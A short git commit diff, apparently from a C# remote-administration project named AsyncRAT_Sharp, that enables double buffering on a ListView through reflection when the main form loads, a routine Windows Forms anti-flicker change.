Add double buffer

This commit is contained in:
NYAN CAT 2019-06-01 08:47:36 +03:00
parent 0c64aff18e
commit b57aa99d71

View File

@ -71,8 +71,14 @@ namespace AsyncRAT_Sharp
} }
} }
private async void Form1_Load(object sender, EventArgs e) private async void Form1_Load(object sender, EventArgs e)
{ {
System.Reflection.PropertyInfo aProp = typeof(System.Windows.Forms.Control)
.GetProperty("DoubleBuffered", System.Reflection.BindingFlags.NonPublic |
System.Reflection.BindingFlags.Instance);
aProp.SetValue(listView1, true, null);
CheckFiles(); CheckFiles();
lvwColumnSorter = new ListViewColumnSorter(); lvwColumnSorter = new ListViewColumnSorter();
this.listView1.ListViewItemSorter = lvwColumnSorter; this.listView1.ListViewItemSorter = lvwColumnSorter;